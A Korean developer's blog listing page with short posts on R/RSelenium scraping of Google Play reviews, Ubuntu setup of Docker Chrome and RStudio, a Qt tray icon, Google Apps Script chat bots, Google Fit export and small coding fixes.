붉은 부분은 스프레드 시트에서 사용할 호출 함수의 이름이다.


파란색 함수는 원래 기능을 수행할 아래 함수이다. 즉, 사용자 정의 함수가 되겠다.


스프레드 시트에서 아래 함수를 직접 호출하여 사용 가능하나, 호출이 100개 이상 되면 오류가 발생한다.


아래의 사용자 정의 함수는 ifftt의 datetime 문자열을 google의 datetime 으로 바꾸는 것으로 이벤트가 쌓일 때마다 늘어난다. 처음에는 직접 호출 가능하나 추후 오류가 발생하므로, E 컬럼에 =dtr(A1:A) 로 정의해 준다.


ABCDE

January 02, 2018 at 08:52AMentered2018-01-022018. 1. 2 오전 8:52:00


function dtr2(myDate){

  var vv = myDate;

  

  vv = vv.toString();

  

  var va = vv.split(" at ");

  if(va[1]==undefined){

    return;

  }

  var ampm = va[1].split(":");

  

  if(va[1].substr(-2)=="PM"){

    myDate = new Date((va[0].replace(",","")+", "+(parseInt(ampm[0],10)+12)+":"+ampm[1].substr(0,2)+":00"));

  }else{

    myDate = new Date((va[0].replace(",","")+", "+parseInt(ampm[0],10)+":"+ampm[1].substr(0,2)+":00"));

  }

  return myDate;

}

[R] 구글 플레이스토어 리뷰 수집

[원문보기]

json 등으로 제공되지 않기 때문에, html 을 직접 크롤링해야 하는데, 더보기 버튼 등이 있고, 유용성 순서로 정렬이 기본이므로 제약이 많다.

 

https://blog.naver.com/PostView.nhn?blogId=nife0719&logNo=221329685115&parentCategoryNo=&categoryNo=30&viewDate=&isShowPopularPosts=false&from=postView

 

에서 제공되는 소스를 조금 고쳐서 전체를 다 수집하지 않고, 최근 것 일부만 수집하도록 한다.

 

리뷰가 너무 많을 경우 30분이 넘어가는 일이 발생하므로 다음과 같이 수정하였다.

 

다음을 실행하기 위해서는, r을 다운로드하여 설치하고 https://cran.r-project.org/bin/windows/base/

 

콘솔에서 관련 라이브러리를 설치한다. 아래 코드는 적당한 이름으로 저장하여 불러오기 후 전체 실행하면 된다.

(예제 앱은 스마트 헌혈 임)

 

install.packages("rvest")

install.packages("httr")

install.packages("stringr")

install.packages("RSelenium")

 

 

[다음]

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

 

ch=wdman::chrome(port=4444L) #크롬드라이버를 포트

remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4444L, browserName = "chrome")

remDr$open() #크롬 Open

remDr$navigate("https://play.google.com/store/apps/details?id=net.bloodinfo.smartapp&showAllReviews=true") #설정 URL로 이동

 

webElem <- remDr$findElement("css", "body")

webElem$sendKeysToElement(list(key = "end"))

 

# webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc') #버튼 element 찾기

# remDr$mouseMoveToLocation(webElement = webElemButton) #해당 버튼으로 포인터 이동

 

flag <- TRUE

endCnt <- 0

 

while (flag) {

  Sys.sleep(10)

  webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

 

  if(length(webElemButton)==1){

    endCnt <- 0

    webElem$sendKeysToElement(list(key = "home"))

    webElemButton <- remDr$findElements(using = 'css selector',value = '.ZFr60d.CeoRYc')

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #해당 버튼으로 포인터 이동

    remDr$click()

    webElem$sendKeysToElement(list(key = "end"))

    flag <- FALSE #추가한 부분

  }else{

    if(endCnt>3){

      flag <- FALSE

    }else{

      endCnt <- endCnt + 1

    }

  }

}

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)

 

write.csv(reviewData, paste0("net.bloodinfo.smartapp(",nrow(reviewData),").csv"))

 

remDr$close()

 

[이클립스] tomcat 404, spring, web API

[원문보기]

스프링 기반으로 개발하여, 디스패처 서블릿을 WEBXML 에 MVC 방식으로 매핑하여 개발하였을 때, 많은 복잡성이 발생한다.

 

톰캣의 배포된 실행 패키지를 정상 종료 시키지 않고 삭제하면, LOCK 이 걸려 재 컴파일해서 RUN 하더라도 쉽게 원하는 패키지가 실행되지 않는다.

 

그 때는 아예, 톰캣 서버를 완전히 지우고, 새로 서버를 만들어 실행한다.

 

api.png

 

[이클립스] tomcat 404, spring, web API

[원문보기]

스프링 기반으로 개발하여, 디스패처 서블릿을 WEBXML 에 MVC 방식으로 매핑하여 개발하였을 때, 많은 복잡성이 발생한다.

 

톰캣의 배포된 실행 패키지를 정상 종료 시키지 않고 삭제하면, LOCK 이 걸려 재 컴파일해서 RUN 하더라도 쉽게 원하는 패키지가 실행되지 않는다.

 

그 때는 아예, 톰캣 서버를 완전히 지우고, 새로 서버를 만들어 실행한다.

 

api.png

 

[R] 도커를 이용한 가상 크롬으로 우분투에서 RSelenium 사용

[원문보기]

윈도우에서만 가능할 것으로 여겨졌던 크롤링이 우분투를 이용해서 가능하다.

 

https://lareale.tistory.com/292

 

위를 참조하여 도커에 크롬이 설치된 컨테이너 서버를 설치하고, 실행시킨다.

 

   13  wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - $ sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'

   14  wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -

   15  sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'

   16  ls

   17  sudo apt-get update

   18  sudo apt-get install google-chrome-stable

   19  wget -N http://chromedriver.storage.googleapis.com/2.10/chromedriver_linux64.zip -P ~/Downloads

   21  sudo apt-get install unzip

   22  unzip ~/Downloads/chromedriver_linux64.zip

   59  sudo ln -s /usr/local/share/chromedriver /usr/local/bin/chromedriver

   60  sudo ln -s /usr/local/share/chromedriver /usr/bin/chromedriver

   68  sudo apt-get install libcurl

   69  sudo apt-get install libcurl4-openssl-dev

   70  sudo apt-get install libssl-dev

   71  sudo apt-get install libxml2-dev

   72  sudo apt-get install xml2

   73  sudo R

   74  sudo echo "deb http://cran.rstudio.com/bin/linux/ubuntu xenial/" | sudo tee -a /etc/apt/sources.list

   75  gpg --keyserver keyserver.ubuntu.com --recv-key E084DAB9

   76  gpg -a --export E084DAB9 | sudo apt-key add -

   77  sudo apt-get update

   78  sudo apt-get install r-base r-base-dev

   79  R --version

 

$ sudo docker run -p 4445:4444 selenium/standalone-chrome &

 

 

아래 소스는 아직 테스트하지 못했고, aws t2.micro 에서 안된다.

(용량 문제로 dplyr 패키지를 설치할 수 없다.)

https://hjpco.wordpress.com/2017/05/31/aws-r%EC%97%90-devtools-package-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/

 

테스트 한 것은 cvs로 만드는 소스가 테스트 되었고, 최신순 선택은 실패했다.

 

MS 윈도우 서버가 정지되는 바람에 시도하게 되었는데, 결국 성공하지 못하여 아래 소스를 위해 되살렸다.(정지된 구독을 종량제로 전환하기 위해 영어로 통화를 26분이나 하였다. T.T)

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

library(googlesheets)

library(tidyverse)

 

ch=wdman::chrome(port=4445L) #크롬드라이버를 포트

remDr <- remoteDriver(remoteServerAddr = "localhost", port = 4445L, browserName = "chrome")

remDr$open() #크롬 Open

remDr$navigate("https://play.google.com/store/apps/details?id=패키지명&showAllReviews=true&hl=ko") #설정 URL로 이동(한국 스토어 기준으로 하려면 반드시 &hl=ko를 해야한다. 그렇지 않으면 &hl=en 으로 기본 설정되어 서버 IP에 해당하는 국가 리뷰가 나온다)

 

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[1]/div[2]/span")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장

    remDr$click()

  Sys.sleep(10)

 

    webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div[1]/div/div[2]/div[1]")

    remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택

    remDr$click()

  Sys.sleep(10)

 

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments)

 

df_new <- gs_new(title = "패키지명", 

                 input = reviewData, 

                 trim = TRUE)

 

remDr$close()

[R] 우분투 16.04에 RStudio 설치

[원문보기]

아마존 t2.micro에 RStudio를 설치해서 원격으로 접속해 본다.

 

터미널보다 실행 속도가 더 빠르다니 의아하다.

 

http://download2.rstudio.org/ 에서 rstudio-server-1.1.463을 설치했다.

 

http://infondgndg91.blogspot.com/2016/09/1604-lts-rstudio.html 등에서는 rstudio-0.99.896-amd64.deb 를 받으라고 하는데,

 

Package 'libssl0.9.8' has no installation candidate 에러가 발생하여 상위 버전으로 설치했다.

 

 

  422  wget http://download2.rstudio.org/rstudio-server-1.1.463-amd64.deb

  423  sudo gdebi rstudio-server-1.1.463-amd64.deb

 

 

이상 없으면 아래와 같이 출력되며, 자동 실행된다.

 

Reading package lists... Done

Building dependency tree

Reading state information... Done

This package is uninstallable

Wrong architecture 'i386'

ubuntu@ip-172-31-29-250:~$ wget http://download2.rstudio.org/rstudio-server-1.1.463-amd64.deb

--2019-04-10 00:12:20--  http://download2.rstudio.org/rstudio-server-1.1.463-amd64.deb

Resolving download2.rstudio.org (download2.rstudio.org)... 54.239.186.77, 54.239.186.152, 54.239.186.198, ...

Connecting to download2.rstudio.org (download2.rstudio.org)|54.239.186.77|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 63566904 (61M) [application/x-deb]

Saving to: ‘rstudio-server-1.1.463-amd64.deb’

 

rstudio-server-1.1.463-amd64.deb        100%[=============================================================================>]  60.62M  13.8MB/s    in 5.6s

 

2019-04-10 00:12:26 (10.7 MB/s) - ‘rstudio-server-1.1.463-amd64.deb’ saved [63566904/63566904]

 

ubuntu@ip-172-31-29-250:~$ sudo gdebi rstudio-server-1.1.463-amd64.deb

Reading package lists... Done

Building dependency tree

Reading state information... Done

Reading state information... Done

 

RStudio Server

 RStudio is a set of integrated tools designed to help you be more productive with R. It includes a console, syntax-highlighting editor that supports direct code execution, as well as tools for plotting, history, and workspace management.

Do you want to install the software package? [y/N]:y

Selecting previously unselected package rstudio-server.

(Reading database ... 106368 files and directories currently installed.)

Preparing to unpack rstudio-server-1.1.463-amd64.deb ...

Unpacking rstudio-server (1.1.463) ...

Setting up rstudio-server (1.1.463) ...

groupadd: group 'rstudio-server' already exists

rsession: no process found

Created symlink from /etc/systemd/system/multi-user.target.wants/rstudio-server.service to /etc/systemd/system/rstudio-server.service.

● rstudio-server.service - RStudio Server

   Loaded: loaded (/etc/systemd/system/rstudio-server.service; enabled; vendor preset: enabled)

   Active: active (running) since Wed 2019-04-10 00:12:41 UTC; 1s ago

  Process: 25430 ExecStart=/usr/lib/rstudio-server/bin/rserver (code=exited, status=0/SUCCESS)

 Main PID: 25434 (rserver)

    Tasks: 3

   Memory: 14.3M

      CPU: 387ms

   CGroup: /system.slice/rstudio-server.service

           └─25434 /usr/lib/rstudio-server/bin/rserver

 

Apr 10 00:12:41 ip-172-31-29-250 systemd[1]: Starting RStudio Server...

Apr 10 00:12:41 ip-172-31-29-250 systemd[1]: Started RStudio Server.

 

 

8787 포트를 방화벽에서 허용하여 접속하면, 윈도우에 설치한 RStudio와 동일하게 사용가능 하다.

 

 

 

[R] 구글 플레이스토어 리뷰 별점까지 수집

[원문보기]

도커에 타임존을 변경해서 실행한다.

 

sudo docker run -v /etc/localtime:/etc/localtime:ro -p 4445:4444 selenium/standalone-chrome &

sudo docker ps -a

sudo docker exec -it 911cca8e9f44 /bin/bash

seluser@911cca8e9f44:/$ date

Fri Apr 19 11:31:47 KST 2019

 

Rscript로 실행할 때는 library를 주석처리하고

Rscript --default-packages=methods,utils,httr,stringr,rvest,RSelenium 파일명.r

으로 실행한다.

 

library(rvest)

library(RSelenium)

library(httr)

library(stringr)

 

remDr <- remoteDriver(port = 4445L, browserName = "chrome")

remDr$open() #크롬 Open

 

remDr$navigate("https://play.google.com/store/apps/details?id={패키지명}&showAllReviews=true&hl=ko") #설정 URL로 이동

 

webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div/div/div[1]/div[1]/div[3]/content")

 

remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #정렬 방법 리스트 확장

 

remDr$click()

 

Sys.sleep(1)

 

webElemButton <- remDr$findElements(using = "xpath", "/html/body/div[1]/div[4]/c-wiz/div/div[2]/div/div[1]/div/div/div[1]/div[2]/c-wiz/div/div/div[2]/div[1]")

 

remDr$mouseMoveToLocation(webElement = webElemButton[[1]]) #최신순 선택

 

remDr$click()

 

Sys.sleep(10)

 

 

frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

 

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기

 

reviewStars <- read_html(frontPage[[1]]) %>% html_nodes('.nt2C1d') %>% html_nodes('.pf5lIe') %>% html_children() %>% html_attr("aria-label") #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기

 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments, stars=reviewStars)

 

 

write.csv(reviewData, "sh.csv")

 

 

remDr$close()

stars.png

 

 

 

 

https://stat4701.github.io/edav/2015/04/02/rvest_tutorial/

 

[QT] 트레이아이콘(TrayIcon)사용하기

[원문보기]

 

http://browniz1004.blog.me/220956638885

 

qt 트레이 showMinimized() tray -> 나의 검색어

 

[헤더파일]

 

QSystemTrayIcon *TrayIcon;  //전역변수

QMenu *TrayIconMenu;

 

private slots:

void onSystemTryIconClicked(QSystemTrayIcon::ActivationReason); //트레이아이콘 클릭시 이벤트 설정

void on_actionExit_triggered(); //트레이아이콘 메뉴설정시 사용

 

 

private: //프로그램종료시, 프로그램 숨김시 이벤트설정

void closeEvent(QCloseEvent *event);

void hideEvent(QHideEvent *event); 

 

 

[소스파일]

TrayIcon = new QSystemTrayIcon(this);

 

TrayIconMenu = new QMenu(this);

 

TrayIconMenu->addAction(ui.actionExit);

TrayIconMenu->addSeparator();

TrayIcon->setContextMenu(TrayIconMenu);

QIcon Icon(":/appMain/Resources/icon_menu_01.png"); //아이콘은 기존 리소스 경로로 지정

TrayIcon->setIcon(Icon);

TrayIcon->show();

TrayIcon->setToolTip(tr("DFC")); //트레이아이콘에 마우스 움직였을때 문구

TrayIcon->showMessage(tr("DFC"), tr("DFC."), QSystemTrayIcon::Information, 5000); //트레이아이콘 처음 적용시 설명

connect(TrayIcon, SIGNAL(activated(QSystemTrayIcon::ActivationReason)), this, SLOT(onSystemTryIconClicked(QSystemTrayIcon::ActivationReason)));

 

 

함수 선언부

void appMain::onSystemTryIconClicked(QSystemTrayIcon::ActivationReason reason)

{

switch (reason)

{

case QSystemTrayIcon::Trigger:

case QSystemTrayIcon::DoubleClick:

this->setWindowState(Qt::WindowActive);

this->show();

break;

}

}

 

void appMain::hideEvent(QHideEvent *event)

{

if (isMinimized())

{

this->hide();

}

QWidget::hideEvent(event);

}

void appMain::closeEvent(QCloseEvent *event)

{

if (TrayIcon->isVisible())

{

TrayIcon->hide();

}

}

void appMain::on_actionExit_triggered()

{

this->hide();

this->close();

}

[push챗봇] 구글 앱스 스크립트 X 행아웃 채트(구글 채트)

[원문보기]

행아웃 채트가 구글채트로 이름이 변경되었다.

 

개별 도메인 사용자만 이용할 수 있는데, 무료 계정도 모바일은 가능하다.

(chat.google.com) 로 접속하면 PC에서도 이용 가능하고 대화방의 이름을 얻을 수 있기 때문에, 6의 예제 코드에 space.name 에 하드 코딩 가능하다.

 

https://suritam9.pe.kr/index.php?mid=imp&document_srl=1405 에서 이미 대화형 봇을 다뤘으며, 이번 건은 push형이다.

 

그동안은 integramat 이나 다른 수단을 이용했는데, 구글 앱스 스크립트로 바로 가능한 방법이 있어 시도해 봤다.

 

https://medium.com/@stephane.giron/send-push-message-to-hangouts-chat-with-apps-script-274ddadcbc55

 

1. 구글 클라우드 플랫폼 서비스 계정에서 계정 생성 및 키를 만든다.(JSON 형태 다운로드 파일 보관)

2. 앱스 스크립트 라이브러리에서 Oauth2 를 설치하는데, 1B7FSrk5Zi6L1rSxxTDgDEUsPzlukDsi4KGuTMorsTQHhGBzBkMun4iDF 로 검색한다.

3. 1에서 다운 받은 파일에 PRIVATE_KEY 와 CLIENT_EMAIL를 복사하고 서비스 생성 스크립트를 실행시킨다.

 

var PRIVATE_KEY = '-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n';
var CLIENT_EMAIL = '...';
/**
* Configures the Chatbot service.
*/
function getChatbotService() {
return OAuth2.createService(‘MyChatBot’)
// Set the endpoint URL.
.setTokenUrl(‘https://accounts.google.com/o/oauth2/token')
// Set the private key and issuer.
.setPrivateKey(PRIVATE_KEY)
.setIssuer(CLIENT_EMAIL)
// Set the property store where authorized tokens should be persisted.
.setPropertyStore(PropertiesService.getScriptProperties())
// Set the scope.
.setScope(‘https://www.googleapis.com/auth/chat.bot');
}

4. 토큰이 발행되는지 테스트 한다.

/**
* Test for getting access token
*/
function getAccessTokenTest() {
var service = getChatbotService();
if (service.hasAccess()) {
Logger.log(service.getAccessToken());
} else {
Logger.log(service.getLastError());
}
}

5. 참고 URL 에 빠져 있는 부분인데, 봇을 만들어 채팅방에 추가해야 한다. (봇 만들기는 다른 사이트를 검색하여 아이콘 등을 설정한다.)

권한은 도메인 내로 해야 head 배포 id 사용이 가능하다.

image.png

배포 id는 게시에 메니페스트에서 배포를 선택하여 lastesthead deployment 배포에서 getid 를 선택하여 확인한다.

0.png

 

 

6.  예제 코드를 이용해 해당 채팅방에 메시지를 보내본다.

 

/**
* Authorizes and makes a request to the Hangouts Chat API for :
* - Getting all spaces the bot is installed
* - Sending message when space is a Direct Message space
*/
function sendPushMessage() {
var service = getChatbotService();
if (service.hasAccess()) {
//WE retrieve all the spaces bot has been added
var url = 'https://chat.googleapis.com/v1/spaces';
var response = UrlFetchApp.fetch(url, {
headers: {
Authorization: 'Bearer ' + service.getAccessToken()
}
});
var rep = JSON.parse(response.getContentText());
if(rep.spaces && rep.spaces.length > 0){
for(var i = 0; i < rep.spaces.length; i++) {
var space = rep.spaces[i];
if(space.type == "DM"){
//We send message only to Direct Message room.
var url = 'https://chat.googleapis.com/v1/'+space.name+'/messages';

var options = {
method : 'POST',
contentType: 'application/json',
headers: {
Authorization: 'Bearer ' + service.getAccessToken()
},
payload : JSON.stringify({ text: "Hello world !" })
}

//We send message to the DM room
UrlFetchApp.fetch(url, options);
}else{
//If Type is 'ROOM' or 'TYPE_UNSPECIFIED' we don't send notification.
}
}
}else{
Logger.log('Bot is not added to any spaces');
}
} else {
Logger.log(service.getLastError());
}
}

 

7. 오류가 발생한다면 구글 개발자 콘솔에서 행아웃 채트 API 활성화를 누락했거나, 채팅방이 잘 확인되는지, space 에 대한 참여 멤버, 대화방 명 등을 확인해 보면 디버깅에 도움이 된다.

https://developers.google.com/hangouts/chat/reference/rest/v1/spaces

https://developers.google.com/hangouts/chat/reference/rest/v1/spaces.members

https://developers.google.com/hangouts/chat/reference/rest/v1/spaces.messages

 

[구글핏] fitnees API 를 이용한 구글 스프레드시트로 데이터 가져오기

[원문보기]

https://ithoughthecamewithyou.com/post/export-google-fit-daily-steps-to-a-google-sheet

 

위 사이트를 참고해 진행한다.

 

1) 일단 코드를 다운로드 하고, API 콘솔을 이용해 https://console.cloud.google.com/apis 새로운 프로젝트를 만든다.(기존 프로젝트 이용 가능)

2) API 및 서비스 사용 설정에서 fitnees API 를 활성화 시킨다.

3) 사용자 인증정보에서 사용자 인증 정보 만들기를 선택한다.

4) OAuth 클라이언트 ID를 선택하고 애플리케이션 유형을 웹 애플리케이션으로 한다.

5) 이름을 "GF" 등으로 설정하고 승인된 리디렉션 URI 에 https://script.google.com/macros/d/{SCRIPTID}/usercallback 를 입력한다.

 

6) {SCRIPTID} 를 입력하기 위해 구글 드라이브에서 스프레드시트를 만들고, 스크립트 편집기를 열어 1)의 코드를 저장한 뒤, URL으 확인한다.

7) URL에 나온 스크립트 경로가 {SCRIPTID} 이다.

8) OAuth 클라이언트 ID 만들기를 선택하면 6)에서 저장한 코드에 Client ID, Client Secret을 입력할 수 있는 클라이언트 ID, 클라이언트 보안 비밀은 얻을 수 있다.

9) 저장이 끝나면 시트를 새로고침하여 OnOpen 함수가 자동 동작하도록 하여 Google Fit 메뉴를 확인한다.

10) Authorize...... 를 시작으로 시트이름을 "Metrics"{History}으로 수정하여 구글 피트니스에 저장된 데이터를 가져올 수 있다.

 

코드를 보면 사용하는 시트이름이 다음과 같다. 두 개의 시트를 생성하여 AppendRow null 오류를 방지한다.

 

function getMetrics() {

  getMetricsForDays(1, 1, 'Metrics');

}

 

function getHistory() {

  getMetricsForDays(1, 60, 'History');

}

 

fitnees.png

 

cd.png

 

 

[TF] 파이썬과 케라스를 이용한 딥러닝/강화학습 주식투자

[원문보기]

도서 [파이썬과 케라스를 이용한 딥러닝/강화학습 주식투자] 에 나온 예제를 실행해 봤다.

 

현재기준으로 아나콘다 3을 설치하면 python 3.8.x 가 설치되며, python path를 설정해야 제대로 실행 가능하다.

 

기존 2.7, 3.5 가 설치된 환경이라 여러 버전이 섞여서 다양한(?) 에러를 발생시켰다.

 

시스템 환경변수에 아래를 등록한다.

PYTHONPATH

c:\programdata\anaconda3;c:\programdata\anaconda3\Lib;c:\programdata\anaconda3\DLLs;c:\programdata\anaconda3\libs;c:\programdata\anaconda3\Scripts;c:\programdata\anaconda3\bin

 

알수 없는 오류 (set_session, get_default_graph())에 대해 대략 아래와 같이 수정하여 아웃풋을 얻었다.

 

[networks.py]

23 from tensorflow.keras.backend import set_session -> from tensorflow.keras.backend import clear_session

25 graph = tf.get_default_graph() -> graph = tf.compat.v1.get_default_graph()

 

시간이 지나면 각종 로그와 그림에 대해 이해하게 되겠지.

 

epoch_summary_003.png

 

 

[챗봇] 대화형 질의 응답 만들기

[원문보기]

대화형 챗봇을 통해 문자열 입력시 대답하도록 한다.

 

채팅방에서 실행하게 되면, @봇이름 대화 형식으로 하고, DM일 경우 문자열을 입력하기만 하면 응답한다.

 

 

https://cloud.google.com/blog/products/g-suite/building-a-google-hangouts-chatbot-using-apps-script

 

[채팅방]

at.png

[DM]

 

DM.png

 

https://github.com/gsuitedevs/hangouts-chat-samples/blob/master/apps-script/vote-text-bot/vote-text-bot.js

 

투표하기 코드를 조금 고쳐서 스프레드시트에 응답 결과를 저장하도록 했다.

클릭 횟수를 프로세스의 단위로 삼아 1번 질문, 2번 질문, ...  n번 질문 후 마지막에 앞으로 돌아가도록 했다.

 

이 설문의 문제는 스프레드시트 쓰기 권한이 oAuth 로 승인되어야 해서 스크립트를 실행하여 권한을 얻어야 하는 문제가 있다.

 

ar.png

 

배포된 스크립트로 하는게 아닌 메니페스토에서 배포라서 스크립트를 작성한 사용자의 권한을 대행하지 못하는 것 같다.

 

권한 문제가 있어 설문으로 활용할 방법에 대해 좀 더 고민해 봐야겠다.

 

또한 다른 도메인 사용자 일때도 안 되는 것 같다.

 

글로벌 권한이 있는 계정으로 다시 만들어 테스트 해봐야 겠다.

 

rs.png

 

 

[R] googleAuthR 을 이용한 oAuth 인증 및 로그인 아이디 얻기

[원문보기]

https://code.markedmondson.me/googleAuthR/articles/google-authentication-types.html

상기 경로로 구현해 보았다.

 

아래 코드로 이용 가능하며, 클라이언트 id 부분은 개발자 콘솔에서 사용자 인증 정보를 웹애플리케이션에 사용하는 것으로 만들어 활용하면 된다.

 

localhost는 잘 되지 않아, shinyapps.io 를 사용 경로로 등록해서 잘 동작하였다.

 

library(shiny)
library(googleAuthR)

options(googleAuthR.webapp.client_id = "###")

ui <- fluidPage(

    titlePanel("Sample Google Sign-In"),

    sidebarLayout(
      sidebarPanel(
        googleSignInUI("demo")
      ),

      mainPanel(
        with(tags, dl(dt("Name"), dd(textOutput("g_name")),
                      dt("Email"), dd(textOutput("g_email")),
                      dt("Image"), dd(uiOutput("g_image")) ))
      )
    )
  )

server <- function(input, output, session) {

  sign_ins <- shiny::callModule(googleSignIn, "demo")

  output$g_name = renderText({ sign_ins()$name })
  output$g_email = renderText({ sign_ins()$email })
  output$g_image = renderUI({ img(src=sign_ins()$image) })

}

# Run the application 
shinyApp(ui = ui, server = server)
이전 1 ... 3 4 5 6 7 8 9다음
첨부 (0)
위로